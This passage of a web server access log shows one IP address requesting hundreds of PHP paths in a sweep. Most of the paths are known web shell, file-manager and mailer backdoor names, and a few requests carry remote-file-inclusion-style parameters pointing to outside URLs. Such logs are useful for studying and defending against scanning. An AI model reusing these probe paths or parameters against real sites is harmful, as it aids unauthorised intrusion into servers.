/data.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:58 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:18:59 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:00 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:00 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:02 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:03 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:04 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:05 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:06 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:06 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:07 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:07 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:08 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:08 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:09 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:09 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:10 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:11 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:12 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:13 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:13 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:14 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:15 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:16 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:17 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:19 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:19 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:20 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:21 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:21 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:22 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:22 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:22 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:23 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:23 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:24 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:25 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:25 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:26 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:27 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:28 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:28 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:28 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:29 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:29 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:30 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:31 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:31 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:32 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:32 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:33 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:33 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:34 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:35 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:35 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:36 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:36 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:37 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:37 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:38 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:38 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:39 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:40 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:41 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:42 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:43 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:44 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:45 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:45 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:46 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:46 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:47 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:47 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:48 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:48 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:49 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:50 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:50 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:51 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:51 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:52 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:52 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:53 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:53 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:54 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:54 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:55 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:55 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:56 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:56 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:57 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:57 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:58 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:58 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:19:59 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:01 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:01 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:03 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:05 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 205.169.39.16 - - [19/Apr/2025:19:20:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 52.169.29.118 - - [19/Apr/2025:19:20:08 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:09 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:13 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:15 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:19 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:20 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:22 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:24 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:26 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:27 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:28 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:29 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:30 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:32 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:34 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:37 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:39 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 170.106.165.186 - - [19/Apr/2025:19:20:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.29.118 - - [19/Apr/2025:19:20:43 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:44 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:44 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:46 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:47 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:49 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:49 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:50 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:50 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:50 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:51 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:51 -0400] "GET /kPC.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:52 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:52 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:52 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:53 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:53 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:54 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:54 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:55 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:55 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:56 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:57 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:57 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:58 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:58 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:20:59 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:00 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:01 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:01 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:02 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:02 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:04 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:05 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:06 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:07 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:07 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:07 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:08 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:09 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:09 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:09 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:10 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:10 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:11 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:11 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:12 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:12 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:14 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:15 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:15 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:17 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:18 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:19 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:20 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:20 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:21 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:22 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:23 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:23 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:24 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:26 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:26 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:27 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:28 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:29 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:30 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:31 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:31 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:32 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:34 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:35 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:38 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:39 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:40 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:41 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:42 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:43 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:45 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:46 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:46 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:47 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:48 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:49 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:50 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:51 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:52 -0400] "GET /nz7AOl3hjic.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:53 -0400] "GET /nzouv.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:53 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:54 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:55 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:55 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:56 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:21:58 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:00 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:01 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:02 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:03 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:04 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:05 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:06 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:08 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:10 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:11 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:12 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:12 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:13 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:15 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:16 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:17 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:17 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:18 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:20 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:21 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:21 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:23 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:23 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:24 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:25 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:26 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:27 -0400] "GET 